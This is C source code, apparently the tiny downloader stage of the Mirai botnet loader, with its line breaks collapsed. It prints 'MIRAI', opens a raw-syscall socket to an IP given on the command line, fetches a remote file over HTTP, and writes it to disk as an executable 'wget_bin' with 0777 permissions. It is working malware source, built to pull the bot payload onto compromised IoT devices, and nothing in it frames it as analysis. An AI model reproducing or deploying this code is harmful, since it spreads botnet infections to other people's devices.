#include //#include #include #include #include #include #include #define EXEC_MSG "MIRAI\n" #define EXEC_MSG_LEN 6 #define DOWNLOAD_MSG "FIN\n" #define DOWNLOAD_MSG_LEN 4 #define STDIN 0 #define STDOUT 1 #define STDERR 2 #if BYTE_ORDER == BIG_ENDIAN #define HTONS(n) (n) #define HTONL(n) (n) #elif BYTE_ORDER == LITTLE_ENDIAN #define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) #define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ ((((unsigned long)(n) & 0xff00)) << 8) | \ ((((unsigned long)(n) & 0xff0000)) >> 8) | \ ((((unsigned long)(n) & 0xff000000)) >> 24)) #else #error "Fix byteorder" #endif #ifdef __ARM_EABI__ #define SCN(n) ((n) & 0xfffff) #else #define SCN(n) (n) #endif /* stdlib calls */ int xsocket(int, int, int); int xwrite(int, void *, int); int xread(int, void *, int); int xconnect(int, struct sockaddr_in *, int); int xopen(char *, int, int); int xclose(int); void x__exit(int); #define socket xsocket #define write xwrite #define read xread #define connect xconnect #define open xopen #define close xclose #define __exit x__exit #ifdef DEBUG void xprintf(char *str) { write(1, str, strlen(str)); } #define printf xprintf #endif // wget ip_address remote_file host int main(int argc, char **args) { char recvbuf[128]; struct sockaddr_in addr; int sfd, ffd; unsigned int header_parser = 0; write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); addr.sin_family = AF_INET; addr.sin_port = HTONS(80); addr.sin_addr.s_addr = inet_addr(args[1]); ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777); sfd = socket(AF_INET, SOCK_STREAM, 0); #ifdef DEBUG if (ffd == -1) printf("Failed to open file!\n"); if (sfd == -1) printf("Failed to call socket()\n"); #endif if (sfd == -1 || ffd == -1) __exit(1); if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1) __exit(2); write(sfd, "GET ", 4); write(sfd, args[2], strlen(args[2])); write(sfd, " HTTP/1.1\r\n", 11); write(sfd, "Host: ", 6); write(sfd, args[3], strlen(args[3])); write(sfd, "\r\nConnection: close\r\n\r\n", 23); while (header_parser != 0x0d0a0d0a) { char ch; int ret = read(sfd, &ch, 1); if (ret != 1) __exit(4); header_parser = (header_parser << 8) | ch; } #ifdef DEBUG printf("Finished receiving HTTP header\n"); #endif while (1) { int ret = read(sfd, recvbuf, sizeof (recvbuf)); if (ret <= 0) break; write(ffd, recvbuf, ret); } close(sfd); close(ffd); write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); __exit(5); } int xsocket(int domain, int type, int protocol) { #if !defined(__NR_socket) struct { int domain, type, protocol; } socketcall; socketcall.domain = domain; socketcall.type = type; socketcall.protocol = protocol; return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall); #else return syscall(SCN(SYS_socket), domain, type, protocol); #endif } int xread(int fd, void *buf, int len) { return syscall(SCN(SYS_read), fd, buf, len); } int xwrite(int fd, void *buf, int len) { return syscall(SCN(SYS_write), fd, buf, len); } int xconnect(int fd, struct sockaddr_in *addr, int len) { #if !defined(__NR_socket) struct { int fd; struct sockaddr_in *addr; int len; } socketcall; socketcall.fd = fd; socketcall.addr = addr; socketcall.len = len; return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall); #else return syscall(SCN(SYS_connect), fd, addr, len); #endif } int xopen(char *path, int flags, int other) { return syscall(SCN(SYS_open), path, flags, other); } int xclose(int fd) { return syscall(SCN(SYS_close), fd); } void x__exit(int code) { syscall(SCN(SYS_exit), code); }